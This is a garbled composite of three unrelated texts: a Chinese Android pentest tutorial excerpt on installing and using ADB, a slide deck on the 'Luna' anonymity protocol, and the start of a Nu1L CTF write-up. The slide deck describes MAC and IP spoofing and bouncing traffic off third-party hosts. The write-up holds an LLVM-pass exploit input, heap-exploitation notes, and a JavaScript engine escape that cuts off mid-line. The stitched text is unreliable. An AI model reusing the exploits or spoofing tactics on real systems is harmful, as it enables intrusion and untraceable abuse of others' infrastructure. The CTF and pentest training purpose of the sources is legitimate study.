(1)在 Kali Linux 图形界面依次选择“应用程序”|“系统工具”|“首选项”|“网络连
接”命令,将显示如图 1.45 所示的界面。
图 1.45 配置 VPN
(2)从该界面可以看到,现在配置 VPN 的按钮可以点击了。在该界面单击“添加”按钮,
将显示如图 1.46 所示的界面。
图 1.46 选择 VPN 连接类型
(3)在该界面选择“点到点隧道协议(PPTP)”选项。然后,单击“新建”按钮,将
显示如图 1.47 所示的界面。
(4)在该界面设置 VPN 连接的名称(任意名称)、服务器地址(网关文本框中)、登
录用户名和密码。具体配置格式,如图 1.47 所示。
(5)以上信息设置完后,单击“高级”按钮,将显示如图 1.48 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·29·
图 1.47 设置 VPN 连接 图 1.48 设置认证方法
(6)在该界面勾选“使用点到点加密(MPPE)”选项,该 VPN 连接将自动设置身份
验证方法为 MSCHAP 和 MSCHAPv2。然后单击“确定”按钮,将返回图 1.47 所示的界面。
在该界面单击“保存”按钮,保存配置的 VPN 连接后就可以连接了。
1.5 ADB 工具的安装及配置
ADB 全程为 Android Debug Bridge,它是 Android SDK 里的一个工具。使用该工具可以
直接操作,管理 Android 模拟器或者真实的 Android 设备。ADB 是一个客户端/服务端程序。
其中,客户端是用户用来执行操作的计算机,服务端是 Android 设备。本节将介绍在 Kali
Linux 中安装及配置 ADB 工具的方法。
1.5.1 安装 ADB 工具
ADB 工具是 Android SDK 管理器中的一个工具。所以,如果要安装 ADB 工具,则需
要先安装 Android SDK 管理器。ADB 工具只需要在客户端安装,不需要在服务端安装。用
户只需要将 Android 设备上的 USB 调试器打开就可以了。
1.下载 Android SDK
Android SDK 的下载地址是 http://developer.android.com/sdk/index.html。在浏览器中打开
该地址,将显示如图 1.49 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·30·
图 1.49 Android SDK 下载界面
在该界面可以看到,Android 的所有相关产品。本书中只需要 Android SDK,而不需要
一些其它开发工具,如 Eclipse。所以,这里选择 SDK Tools Only 下载项,下载与自己平台
匹配的包。本例安装该工具的操作平台是 Kali Linux,所以选择 Linux 对应的包
android-sdk_r24.0.2-linux.tgz。
注意:Android 属于 Google 的产品,所以在国内网络上是无法访问该页面的。因此,用
户可能在打开该界面时,显示无法访问或其它问题。这时候,用户就可以使用 VPN 代理来
解决。
2.安装 Android SDK
Android SDK 下载后包名为 android-sdk_r24.0.2-linux.tar。具体安装方法如下所示:
(1)解压 Android SDK 包。执行命令如下所示:
root@Kali:~# tar xvf android-sdk_r24.0.2-linux.tar
执行以上命令后,Android SDK 包将被解压到当前目录中,解压出来的所有文件保存在
android-sdk-linux 目录中。
(2)进入到解压出来的 tools 目录中,运行可执行文件 android 打开 Android SDK 管理
器。执行命令如下所示:
root@Kali:~# cd android-sdk-linux/tools/
root@Kali:~/android-sdk-linux/tools# ./android
执行以上命令后,将显示如图 1.50 所示的界面。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·31·
图 1.50 Android SDK 管理器
(3)以上就是 Android SDK 管理器界面,在该界面可以更新、下载、安装及卸载 Android
SDK 管理的工具。Android SDK manager 启动以后,将自动检测电脑上已经安装的 Android
SDK,在该界面底部可以看到检测进度条。该检测过程耗时较长,希望用户耐心的等待。检
测完后,显示界面如图 1.51 所示。
图 1.51 Android SDK Manager
注意:如果以上检测过程较慢的话,很多用户将无法忍受,并且会影响用户的其它操作。
所以,这里介绍一种方法来加快它的检测速度。在 Android SDK Manager 的菜单栏中依次选
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·32·
择 Tools|Options...命令,如图 1.52 所示。单击 Options...命令后,将显示如图 1.53 所示的界
面。
图 1.52 菜单栏 图 1.53 设置代理
在该界面设置一个代理服务器,具体配置如下所示:
HTTP Proxy Server:输入代理服务器的地址 mirrors.neusoft.edu.cn;
HTTP Proxy Port:设置代理端口号为 80;
勾选 Force https://...sources to be fetched using http://...前面的复选框;
(4)ADB 工具包括在 Tools 文件夹下的特定组件中,所以这里要选择安装这些特定组
件,如图 1.54 所示。
图 1.54 Tools 文件夹中的组件
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·33·
(5)从该界面的 Status 列,可以看到安装和未安装的组件。这里选择安装 Android SDK
Platform-tools 和 Android SDK Build-tools 组件。用户也可以根据自己的需要安装其它组件。
如果用户想要使用模拟器的话,则可能需要安装一些支持模拟器硬件的其它特定组件,如图
1.55 所示。
图 1.55 Android 4.2.2(API 17)特定组件
提示:关于 Android 模拟器的安装在后面进行介绍。
(6)选择要安装的组件后,单击 Install 12 packages 按钮,将开始安装选择的组件,如
图 1.56 所示。
图 1.56 Choose Package to install 界面
(7)在该界面显示了将要安装的包,确认没有问题后,选择右下角的 Accept License
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·34·
单选按钮。然后,单击 Install 按钮开始按钮,如图 1.57 所示。
图 1.57 开始安装 Packages
(8)从该界面底部的进度条中,可以看到正在下载并安装选择的 Packages。在进度条
中,可以看到下载的速度,及安装所需要的时间。在安装过程中可以单击进度条右侧的
按
钮,查看安装过程的日志信息,如图 1.58 所示。
图 1.58 日志信息
(9)以上组件安装完以后,将返回到 Android SDK Manager 界面。仅选择 Installed 属
性,即只查看已安装的组件,如图 1.59 所示。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·35·
图 1.59 显示了已安装的组件
(10)从该界面可以看到已安装的组件,从显示的组件中可以确定 Android SDK
Plagform-gools 组件已安装。此时,也说明 ADB 工具安装完成。关闭 Android SDK Manager
界面,切换到解压出的 android-sdk-linux 目录中,将看到生成了几个文件,如下所示:
root@Kali:~/android-sdk-linux/tools# cd ..
root@Kali:~/android-sdk-linux# ls
add-ons build-tools extras platforms platform-tools samples SDK Readme.txt sources
temp tools
从以上输出信息中,可以看到比之前多了几个文件。其中,ADB 工具在 platform-tools
目录中。切换到该目录中,即可看到有一个名为 adb 的可执行文件,如下所示:
root@Kali:~/android-sdk-linux/platform-tools# ls
adb api dmtracedump etc1tool fastboot hprof-conv NOTICE.txt source.properties
sqlite3 systrace
从以上输出的信息中,可以看到有一个可执行文件 adb,这说明 ADB 工具安装成功。
但是,如果要使用该工具的话,还需要修改用户的环境变量才可以。否则,无法找到该工具
所在的路径。
1.5.2 修改用户的环境变量
为了在 Linux 系统的命令行终端,方便用户使用 Android SDK 提供的各种工具,用户就
需要将 Android SDK 中工具的路径添加到的环境变量中。下面将介绍在 Kali Linux 操作系统
中,设置环境变量的方法。
在 Linux 系统中,用户环境变量的设置习惯上在“/etc/profile”文件和用户宿主目录中
的“~/.profile”文件中进行。其中,“/etc/profile”是全局配置文件,即对所有用户起作用;
“~/.profile”为用户配置文件(允许覆盖全局配置)。所以,这里修改“~/.profile”文件。
用户也可以在“~/.bashrc”文件中设置,因为“~/.profile”每次运行时都会调用该文件。在
该文件中添加内容格式如下所示:
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·36·
export PATH=${PATH}:<SDK>/platform-tools
export PATH=${PATH}:<SDK>/tools
以上语法格式中<SDK>表示 Android SDK 文件夹的路径。因为 Android SDK 提供的工
具保存在<SDK>/platform-tools 和<SDK>/tools 中,所以这里添加两个环境变量。本例中的
Android SDK 文件夹保存在/root/android-sdk-linux 中,所以添加内容如下所示:
root@Kali:~# vi ~/.bashrc
export PATH=${PATH}:/root/android-sdk-linux/platform-tools
export PATH=${PATH}:/root/android-sdk-linux/tools
添加以上内容后,保存并退出文件编辑界面。接下来还需要使该文件的设置生效,执行
如下命令:
root@Kali:~# source ~/.bashrc
执行以上命令后,将不会输出任何信息,则表示环境变量设置正确。为了确定该环境变
量是否成功,下面可以通过启动 ADB 工具来验证环境变量设置。
提示:如果用户没有设置环境变量的话,也可以运行 ADB 工具。但是,每次运行时必
须要输入 ADB 工具所在位置的绝对路径(# ./android-sdk-linux/platform-tools/adb),这样操
作起来比较麻烦。设置环境变量后,在命令行终端直接输入 adb 命令即可运行该工具。
【实例 1-6】启动 ADB 工具,验证环境变量的设置。执行命令如下所示:
root@kali:~ # adb
Android Debug Bridge version 1.0.32
-a - directs adb to listen on all interfaces for a connection
-d - directs command to the only connected USB device
returns an error if more than one USB device is present.
-e - directs command to the only running emulator.
returns an error if more than one emulator is running.
-s <specific device> - directs command to the device or emulator with the given
serial number or qualifier. Overrides ANDROID_SERIAL
environment variable.
-p <product name or path> - simple product name like 'sooner', or
a relative/absolute path to a product
out directory like 'out/target/product/sooner'.
If -p is not specified, the ANDROID_PRODUCT_OUT
environment variable is used, which must
be an absolute path.
-H - Name of adb server host (default: localhost)
-P - Port of adb server (default: 5037)
devices [-l] - list all connected devices
('-l' will also list device qualifiers)
connect <host>[:<port>] - connect to a device via TCP/IP
Port 5555 is used by default if no port number is specified.
disconnect [<host>[:<port>]] - disconnect from a TCP/IP device.
Port 5555 is used by default if no port number is specified.
Using this command with no additional arguments
will disconnect from all connected TCP/IP devices.
从输出的信息中,可以看到成功启动了 ADB 工具,并显示了该工具的使用方法及各参
数的详细描述。这说明环境变量设置成功。如果环境变量设置失败的话,将会显示找不到该
命令。
注意:如果用户在 64 位操作系统中运行该工具的话,将会提示“adb: error while loading
shared libraries: libstdc++.so.6: cannot open shared object file: No such file or directory”错误信
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·37·
息。因为该工具是一个 32 位程序,所以需要 32 位操作系统的库文件。此时,用户安装 32
位库文件即可解决该文件。执行命令如下所示:
root@Kali:~ # apt-get install lib32stdc++6 lib32z1 lib32z1-dev
1.6 ADB 工具的使用
ADB(Android Debug Bridge)是 Android SDK 提供的一个通用的调试工具。使用该工
具可以管理 Android 设备或者 Android 模拟器的状态,还可以进行很多的操作,如安装软件、
系统升级、运行 Shell 命令等。本节将对 ADB 工具做一个整体介绍。对该工具很熟悉以后,
用户就可以更好的在电脑上管理 Android 设备或 Android 模拟器了。
1.6.1 启动和停止 ADB 服务
使用 ADB 工具时,并不需要手动启动和关闭 ADB 服务。但是,通常模拟器运行一段
时间后,ADB 服务可能会出现异常。导致所有命令都不能准确输出,这时候用户最好先关
闭 ADB 服务,然后再重新启动。
1.关闭 ADB 服务
关闭 ADB 服务,执行命令如下所示:
root@Kali:~/android-sdk-linux/tools# adb kill-server
执行以上命令后,没有任何输出信息,则表示 ADB 服务已成功关闭。
2.启动 ADB 服务
启动 ADB 服务,执行命令如下所示:
root@Kali:~# adb start-server
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
从输出的信息,可以看到 ADB 服务已成功启动,并且默认监听端口 5037。
1.6.2 查看 Android 设备
Android 系统的平板或手机都是真实的 Android 设备,而 Android 模拟器模拟出来的
Android 设备,也被电脑识别为一台实际存在的设备。下面将介绍查看电脑中的真实 Android
设备和 Android 模拟器设备,是否与电脑处于正常的链接状态。执行命令如下所示:
adb devices
例如,当前主机运行了一个 Android 模拟器,然后还连接了一个真实的平板。执行以上
命令后,将显示如下所示的信息:
root@kali:~# adb devices
List of devices attached
emulator-5554 device
0123456789ABCDEF
device
从以上输出信息中,可以看到显示了两个设备。其中第一个设备是模拟器中的 Android
设备,另一个是平板设备。
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·38·
1.6.3 安装应用程序
在安卓系统上安装的应用程序包,后缀名都是.apk。下面将介绍在安卓设备中安装应用
程序的方法,其语法格式如下所示:
adb install apk 包
或
adb install –r apk 包
第二种方式会覆盖原来安装的软件,但是会保留数据。例如,为 Android 虚拟设备安装
一款游戏,其游戏名为“神庙逃亡”。该游戏程序包可以从安卓应用商店下载,其文件名为
smtwywb_1417500707868.apk。为了用户方便记忆该程序包,可以重命名。这里重命名为
temple-run.apk,并放在 Home 目录中。安装此游戏,执行命令如下所示:
root@Kali:~ # adb install temple-run.apk
1197 KB/s (26841898 bytes in 21.888s)
pkg: /data/local/tmp/temple-run.apk
Success
从以上输出的信息中,可以看到安装包的大小是 26841898 bytes,耗时 21.888s,将该安
装包拷贝到 Android 设备/data/local/tmp 目录中,最后提示安装成功。安装成功后,效果如
图 1.60 所示。
图 1.60 成功安装到 Android 设备上的应用
注意:在使用 adb install 命令安装应用程序时,安装成功后可能会出现 rm failed for -f, No
such file or directory 信息。这是因为在 Android 设备设置安装完程序后,自动删除其安装包。
在 Android 设备的命令行中,将会调用 rm 命令删除其软件包。但是在该 Android 设备中 rm
命令的-f 选项不可用,所以提示该信息,即无法删除安装包。
在某些情况下,用户的主机可能连接了多个 Android 设备。但是,用户只想对其中一个
设备进行操作,这时候可以使用-s 选项来指定操作的设备,其语法格式如下:
adb -s 设备名 命令
例如,仅向 Android 模拟器“emulator-5554”安装“神庙逃亡”游戏程序,执行命令如
下所示:
root@Kali:~ # adb -s emulator-5554 install temple-run.apk
执行以上命令后,输入的结果和前面安装程序的数据信息类似。如果当前主机只连接一
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·39·
台 Android 设备的话,就不需要指定了,直接输入运行的命令即可。后面将以一台设备情况
为例,介绍 ADB 工具的使用。
注意:有时候,可能因为程序的版本地、或者磁盘空间不足等问题,导致程序安装失败。
下面列出通常情况安装失败的一些错误提示,如图 1.61 所示。
图 1.61 安装应用失败的各种错误提示
以上就是安装应用程序失败常见的类型及出现这些问题的解释。
1.6.4 卸载应用
使用 ADB 命令,同样可以卸载 Android 设备上的应用程序。其语法格式如下所示:
adb uninstall 软件包名
或
adb uninstall –k 软件包名
注意:以上语法中所说的是“软件包名”,而非“应用名”,或者“软件名”。“软件
包名”可以看作是软件唯一的标识符。默认情况下,“软件包名”类似于一个反转的网址。
在 Android 设备中,程序包名以文件夹的形式保存在/data/data 目录中。如下所示:
root@android:/ # cd /data/data/
root@android:/data/data # ls
cn.etouch.ecalendar
com.UCMobile.intl
com.adobe.flashplayer
com.adobe.reader
com.android.apkinstaller
com.android.backupconfirm
com.android.browser
com.android.calculator2
com.android.certinstaller
com.android.chrome
com.android.contacts
com.android.defcontainer
com.android.deskclock
com.android.email
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·40·
com.android.exchange
以上就是当前系统中的一些程序包名。注意,这里必须是 root 用户才可以查看(Android
设备必须获取到 root 权限),普通用户没有权限。
例如,卸载 1.6.3 小节中安装的“神庙逃亡”程序。其中,该程序的包名为
com.imangi.templerun。所以,执行命令如下所示:
root@Kali:~ # adb uninstall com.imangi.templerun
Success
从输出的信息中,可以看到提示信息为 Success,表示“神庙逃亡”程序卸载成功。此
时,到 Android 设备上查看,可以发现找不到该程序,如图 1.62 所示。
图 1.62 应用程序已被卸载
提示:用户也可以将程序包,即.apk 文件进行反编译。然后,在反编译后的源文件中查
看程序包名。关于反编译程序包的方法,将在下一章介绍。
1.6.5 进入设备或者模拟器的 Shell
进入 Android 设备的 Shell 命令如下所示:
root@Kali:~# adb shell
执行以上命令后,命令行提示符将被修改。如下所示:
root@android:/ #
可以看到提示符已经变化,这表示已进入到 Android 设备。根据命令行显示的提示符“#”,
可知当前登录的用户是 root。如果是普通用户登录的话,命令行提示符为“$”。此时,用
户可以在该终端,执行各种 Linux 命令。例如,查看当前目录中的内容,显示结果如下所示:
root@android:/ # ls
acct
bcm4329_cybertan.hcd
bcm4329_samsung.hcd
bcm4329_usi.hcd
cache
charger
config
d
data
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·41·
default.prop
dev
etc
init
init.goldfish.rc
init.rc
init.rk30board.rc
init.rk30board.usb.rc
init.trace.rc
以上输出的信息,显示了当前目录中所有的文件和文件夹。在 Linux 中,一些命令必须
是 root 权限才可执行。如果用户登录的 Android 设备是普通用户的话,可以使用 su 命令切
换到 root 用户。
提示:用户也可以在 Kali Linux 命令行终端直接执行以上命令,其语法格式如下所示:
adb shell 命令
例如,直接执行 ls 命令,运行效果如下所示:
root@Kali:~ # adb shell ls
acct
bcm4329_cybertan.hcd
bcm4329_samsung.hcd
bcm4329_usi.hcd
cache
charger
config
d
data
default.prop
dev
etc
init
init.goldfish.rc
init.rc
init.rk30board.rc
init.rk30board.usb.rc
init.trace.rc
1.6.6 上传文件到设备
将当前主机上的文件上传到 Android 设备,可以使用 adb push 命令来实现。其语法格式
如下所示:
adb push 本地路径 设备路径
例如,将 temple-run.apk 文件上传到 Android 设备。执行命令如下所示:
root@Kali:~# adb push temple-run.apk /data/local/tmp
787 KB/s (26841898 bytes in 33.297s)
以上输出信息显示了包的大小,上传速度及时间。此时,用户可以使用 ls 命令查看
temple-run.apk 包是否上传成功。如下所示:
root@Kali:~# adb shell ls /data/local/tmp
AdobeReader_appchn.apk
Vulnerable.apk
WebQQ.apk
Android 渗透测试入门教程(内部资料)——daxueba.net 版权所有
·42·
sqlite.apk
tcpdump
temple-run.apk
vulnsqlite.apk
从输出的信息中可以看到在/data/local/tmp 文件中,已经有 temple-run.apk 文件(加粗的
文件),这表明该文件上传成功。
1.6.7 从设备上下载文件
从 Android 设备上下载文件到计算机,可以使用 adb pull 命令来实现。其语法格式如下
所示:
adb pull 设备路径 本地路径
例如,从 Android 设备上下载 temple-run.apk 文件到当前主机的/data 目录中。执行命令
如下所示:
root@Kali:~# adb pull /data/local/tmp/temple-run.apk /data
791 KB/s (26841898 bytes in 33.112s)
以上输出信息显示了下载文件的速度,及时间等。此时,用户可以切换到当前主机的
/data/目录中,查看下载的文件,如下所示:
root@Kali:/data# ls
temple-run.apk
从输出信息中,可以看到 temple-run.apk 文件已成功下载。 | pdf |
aRgus
d4yj4y
sMURFBOy
the
Luna Correspondence
Protocol
The security of our world as we know it is at stake. The
nature of our project may lend itself to abuse by
malicious users, cooperate espionage, and even
terrorism. More positive applications include freedom of
speech and information under oppressive regimes, and
personal privacy on a largely public network.
Why Are We Here?
• Secure, un-traceable, anonymous communication.
• This is the Luna protocol.
• This is our goal.
Abstract
• Luna is a revolutionary new protocol used to anonymously
transmit and receive data securely across the Internet.
• Luna is based on finite improbabilities of vast random
data dispersal and exploits properties of IP to accomplish
a portion of it's goals.
Loki?
Achieving Anonymity
the Luna way
Relaying Trickery
• Luna makes use of well known and existing flaws in
network protocols and conventional firewall
implementations.
• Luna uses tactics for which logging and filtering
would be costly and impractical on high traffic relay
hosts.
• When properly implemented, Luna harms no host
along it’s path, or impairs it’s bandwidth.
Host-Level Transmission
Relay 1
Relay 3
Relay 2
Transmitters
Network
Receivers
Network
Internet
Host-Level Transmission
Relay 3
Transmitters
Network
Receivers
Network
Internet
Relay 1
Relay 2
Internet
Host-Level Transmission
Relay 1
Relay 2
Receivers
Network
Transmitters
Network
Relay 3
Internet
Host-Level Transmission
Receivers
Network
Transmitters
Network
Relay 3
Internet
Host-Level Transmission
Relay 1
Relay 2
Receivers
Network
Transmitters
Network
Internet
Receivers
Network
Host-Level Transmission
Relay 1
Relay 2
Relay 3
Transmitters
Network
Internet
Receivers
Network
Host-Level Transmission
Relay 1
Relay 2
Relay 3
Transmitters
Network
Several means of host deception are employed to facilitate
anonymous transfer:
• MAC Address Spoofing (ISO Layer 2)- Luna assumes multiple
Media Access Control Addresses.
• IP Address Spoofing (ISO Layer 3)- Luna bounces
transmissions off a high traffic 3rd party host using a source
address from the target destination.
Spoofing
Achieving Inefficiency
the Luna way
Inefficiency Briefing
•
Data must not be sent in a predictable fashion
in predictable time
•
Avoid all patterns
• Data must be reordered
•
Avoid all patterns
• Data must be randomized
•
Avoid all patterns
•
Data must contain false positives
•
Avoid all patterns
And Then There is Crypto ...
Cryptography is insufficient for primary means of
communication, however it is far from trivial.
Achieving Security
the Luna way
Mathematical Permutation Function
P(n,r) = n! / (n-r)!
N = total number of packets
R = set of packets composing real data
(eliminating bogus packets)
Mathematical Permutation Function
P(60,10) = 60! / (60-10)!
P = 2.735898472+E17
P(100,80) = 100! / (100-10)!
P = Overflow
Arrg. My trusty ti-83 can’t comprehend the
possibilities of even 100 packets.
Mathematical Permutation Function
1
2
3
4
0
6.3
12.5
18.8
25.0
Packets
(all real; no bogus)
Packet-Level Transmission
Data Filters
• Filters are applied over the entire datum, before it’s chunked
into packets
• Filter plug-ins can be anything from encryption ciphers such
as RSA, PGP, and Blowfish to Base64 and ASCII translation
encoding
• Filters are not applied to the start and stop sequences
Even if the Luna protocol is cracked or flawed and an
encryption data filter is used (Base64 encoding isn’t an
encryption data filter, it’s an encoding data filter), data is
still secured by the encryption filters strength. Thus, Luna is
at least as strong as the weakest encryption filter used.
Multi-Tiered Security
Summary
• Achieving inefficiency via The Luna Protocol
• Packet bleeding
• Achieving anonymity via The Luna Protocol
• Spoofing
• Relaying
• Host-level transmission (OSI Layers 2 and 3)
• Achieving security via The Luna Protocol
• Mathematical Formula
• Packet-level transmission (OSI Layer 5)
• Data filters
Chung’s Final Thoughts
“There is no tool that makes up for a lack of knowledge or
poor implementation.”
- aRgus Chung 2003
“The west side is the best side.”
- d4yj4y Chung 2003
“Live and learn; no one is above making mistakes.”
- sMURFBOy Chung 2003
To The Moon!
the Luna way
Forward Pointers
• Government IP_TAPPING by Jaya Baloo
Today @ 5:00-5:50
• Airsnarf by Beetle & Bruce Potter
Tomorrow @ 2:00-2:50
•
Technical Security Countermeasures by Jeffrey Prusan
Sunday @ 2:00-2:50
• The moon bounce team. Saqib @ SystemV
• The infamous Mr. Tang for the genius mathematical guidance
• Douglas Adams and the meaning of life: 42; R.I.P
• YOU for the support--thank you very much
Rosco’s for the chicken and waffles
Acknowledgments
Live Demo
Q & A | pdf |
强⽹杯 WriteUp By Nu1L
Author:Nu1L Team
强⽹杯 WriteUp By Nu1L
Pwn
yakagame
easychain1
house of cat
Reverse
find_basic
easyre
deeprev
GameMaster
easyapk
Web
uploadpro
babyweb
easylogin
easyweb
crash
Crypto
Factor
myJWT
Lattice
Misc
谍影重重
强⽹先锋
rcefile
polydiv
devnull
WP-UM
AVR
Pwn
yakagame
llvm
void a000(int a);
void a001(int a);
void a002(int a);
void a003(int a);
void a004(int a);
void a005(int a);
void a006(int a);
void a007(int a);
void a008(int a);
void a009(int a);
void a010(int a);
void a011(int a);
void a012(int a);
void a013(int a);
void a014(int a);
void a015(int a);
void a016(int a);
void a017(int a);
void a018(int a);
void a019(int a);
void a020(int a);
void a021(int a);
void a022(int a);
void a023(int a);
void a024(int a);
void a025(int a);
void a026(int a);
void a027(int a);
void a028(int a);
void a029(int a);
void a030(int a);
void a031(int a);
void a032(int a);
void a033(int a);
void a034(int a);
void a035(int a);
void a036(int a);
void a037(int a);
void a038(int a);
void a039(int a);
void a040(int a);
void a041(int a);
void a042(int a);
void a043(int a);
void a044(int a);
void a045(int a);
void a046(int a);
void a047(int a);
void a048(int a);
void a049(int a);
void a050(int a);
void a051(int a);
void a052(int a);
void a053(int a);
void a054(int a);
void a055(int a);
void a056(int a);
void a057(int a);
void a058(int a);
void a059(int a);
void a060(int a);
void a061(int a);
void a062(int a);
void a063(int a);
void a064(int a);
void a065(int a);
void a066(int a);
void a067(int a);
void a068(int a);
void a069(int a);
void a070(int a);
void a071(int a);
void a072(int a);
void a073(int a);
void a074(int a);
void a075(int a);
void a076(int a);
void a077(int a);
void a078(int a);
void a079(int a);
void a080(int a);
void a081(int a);
void a082(int a);
void a083(int a);
void a084(int a);
void a085(int a);
void a086(int a);
void a087(int a);
void a088(int a);
void a089(int a);
void a090(int a);
void a091(int a);
void a092(int a);
void a093(int a);
void a094(int a);
void a095(int a);
void a096(int a);
void a097(int a);
void a098(int a);
void a099(int a);
void a100(int a);
void a101(int a);
void a102(int a);
void a103(int a);
void a104(int a);
void a105(int a);
void a106(int a);
void a107(int a);
void a108(int a);
void a109(int a);
void a110(int a);
void a111(int a);
void a112(int a);
void a113(int a);
void a114(int a);
void a115(int a);
void a116(int a);
void a117(int a);
void a118(int a);
void a119(int a);
void a120(int a);
void a121(int a);
void a122(int a);
void a123(int a);
void a124(int a);
void a125(int a);
void a126(int a);
void a127(int a);
void a128(int a);
void a129(int a);
void a130(int a);
void a131(int a);
void a132(int a);
void a133(int a);
void a134(int a);
void a135(int a);
void a136(int a);
void a137(int a);
void a138(int a);
void a139(int a);
void a140(int a);
void a141(int a);
void a142(int a);
void a143(int a);
void a144(int a);
void a145(int a);
void a146(int a);
void a147(int a);
void a148(int a);
void a149(int a);
void a150(int a);
void a151(int a);
void a152(int a);
void a153(int a);
void a154(int a);
void a155(int a);
void a156(int a);
void a157(int a);
void a158(int a);
void a159(int a);
void a160(int a);
void a161(int a);
void a162(int a);
void a163(int a);
void a164(int a);
void a165(int a);
void a166(int a);
void a167(int a);
void a168(int a);
void a169(int a);
void a170(int a);
void a171(int a);
void a172(int a);
void a173(int a);
void a174(int a);
void a175(int a);
void a176(int a);
void a177(int a);
void a178(int a);
void a179(int a);
void a180(int a);
void a181(int a);
void a182(int a);
void a183(int a);
void a184(int a);
void a185(int a);
void a186(int a);
void a187(int a);
void a188(int a);
void a189(int a);
void a190(int a);
void a191(int a);
void a192(int a);
void a193(int a);
void a194(int a);
void a195(int a);
void a196(int a);
void a197(int a);
void a198(int a);
void a199(int a);
void a200(int a);
void a201(int a);
void a202(int a);
void a203(int a);
void a204(int a);
void a205(int a);
void a206(int a);
void a207(int a);
void a208(int a);
void a209(int a);
void a210(int a);
void a211(int a);
void a212(int a);
void a213(int a);
void a214(int a);
void a215(int a);
void a216(int a);
void a217(int a);
void a218(int a);
void a219(int a);
void a220(int a);
void a221(int a);
void a222(int a);
void a223(int a);
void a224(int a);
void a225(int a);
void a226(int a);
void a227(int a);
void a228(int a);
void a229(int a);
void a230(int a);
void a231(int a);
void a232(int a);
void a233(int a);
void a234(int a);
void a235(int a);
void a236(int a);
void a237(int a);
void a238(int a);
void a239(int a);
void a240(int a);
void a241(int a);
void a242(int a);
void a243(int a);
void a244(int a);
void a245(int a);
void a246(int a);
void a247(int a);
void a248(int a);
void a249(int a);
void a250(int a);
void a251(int a);
void a252(int a);
void a253(int a);
void a254(int a);
void a255(int a);
void fight(int a);
void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();
void gamestart(){
a000(0xf0);
a001(0);
a002(0);
a003(0);
a004(0);
a005(0);
a006(0);
a007(0);
a008(0);
a009(0);
a010(0);
a011(0);
a012(0);
a013(0);
a014(0);
a015(0);
a016(0);
a017(0);
a018(0);
a019(0);
a020(0);
a021(0);
a022(0);
a023(0);
a024(0);
a025(0);
a026(0);
a027(0);
a028(0);
a029(0);
a030(0);
a031(0);
a032(0);
a033(0);
a034(0);
a035(0);
a036(0);
a037(0);
a038(0);
a039(0);
a040(0);
a041(0);
a042(0);
a043(0);
a044(0);
a045(0);
a046(0);
a047(0);
a048(0);
a049(0);
a050(0);
a051(0);
a052(0);
a053(0);
a054(0);
a055(0);
a056(0);
a057(0);
a058(0);
a059(0);
a060(0);
a061(0);
a062(0);
a063(0);
a064(0);
a065(0);
a066(0);
a067(0);
a068(0);
a069(0);
a070(0);
a071(0);
a072(0);
a073(0);
a074(0);
a075(0);
a076(0);
a077(0);
a078(0);
a079(0);
a080(0);
a081(0);
a082(0);
a083(0);
a084(0);
a085(0);
a086(0);
a087(0);
a088(0);
a089(0);
a090(0);
a091(0);
a092(0);
a093(0);
a094(0);
a095(0);
a096(0);
a097(0);
a098(0);
a099(0);
a100(0);
a101(0);
a102(0);
a103(0);
a104(0);
a105(0);
a106(0);
a107(0);
a108(0);
a109(0);
a110(0);
a111(0);
a112(0);
a113(0);
a114(0);
a115(0);
a116(0);
a117(0);
a118(0);
a119(0);
a120(0);
a121(0);
a122(0);
a123(0);
a124(0);
a125(0);
a126(0);
a127(0);
a128(0);
a129(0);
a130(0);
a131(0);
a132(0);
a133(0);
a134(0);
a135(0);
a136(0);
a137(0);
a138(0);
a139(0);
a140(0);
a141(0);
a142(0);
a143(0);
a144(0);
a145(0);
a146(0);
a147(0);
a148(0);
a149(0);
a150(0);
a151(0);
a152(0);
a153(0);
a154(0);
a155(0);
a156(0);
a157(0);
a158(0);
a159(0);
a160(0);
a161(0);
a162(0);
a163(0);
a164(0);
a165(0);
a166(0);
a167(0);
a168(0);
a169(0);
a170(0);
a171(0);
a172(0);
a173(0);
a174(0);
a175(0);
a176(0);
a177(0);
a178(0);
a179(0);
a180(0);
a181(0);
a182(0);
a183(0);
a184(0);
a185(0);
a186(0);
a187(0xff);
a188(0);
a189(0);
a190(0);
a191(0);
a192(0);
a193(0);
a194(0);
a195(0);
a196(0);
a197(0);
a198(0);
a199(0);
a200(0);
a201(0);
a202(0);
a203(0);
a204(0);
a205(0);
a206(0);
a207(0);
a208(0);
a209(0);
a210(0);
a211(0);
a212(0);
a213(0);
a214(0);
a215(0);
a216(0);
a217(0);
a218(0);
a219(0);
a220(0);
a221(0);
a222(0);
a223(0);
a224(0);
a225(0);
a226(0);
a227(0);
a228(0);
a229(0);
a230(0);
a231(0);
a232(0xad);
a233(0xfd);
a234(0x6e);
a235(0);
a236(0);
a237(0);
a238(0);
a239(0);
a240(0x30);
a241(0);
a242(0);
a243(0);
a244(0);
a245(0);
a246(0);
a247(0);
a248(0);
a249(0);
a250(0);
a251(0);
a252(0);
a253(0);
a254(0);
a255(0);
a232(0xad);
a233(0xfd);
a234(0x6e);
a235(0);
a236(0);
a237(0);
a238(0);
a239(0);
a187(0xff);
a240(0x30);
fight(0);
}
easychain1
jerry的js逃逸题
house of cat
2.35 Largebin Attack ?
ubuntu 22.04
第⼀步:LOGIN |NAME r00t QWBQWXF admin
第⼆步:CAT |NAME r00t QWBQWXF \xFF$
有个UAF
需要触发⼀个IO或者exit来劫持控制流
var tmpArray=new Array(0x100-0x7);var i=0;for(i=0;i<0x100-0x7;i++)
{tmpArray.push(0xdeadbeef)}var
piebase=0x41414141,libcbase=0x41414141,stackbase=0x41414141;var a;var data1;var
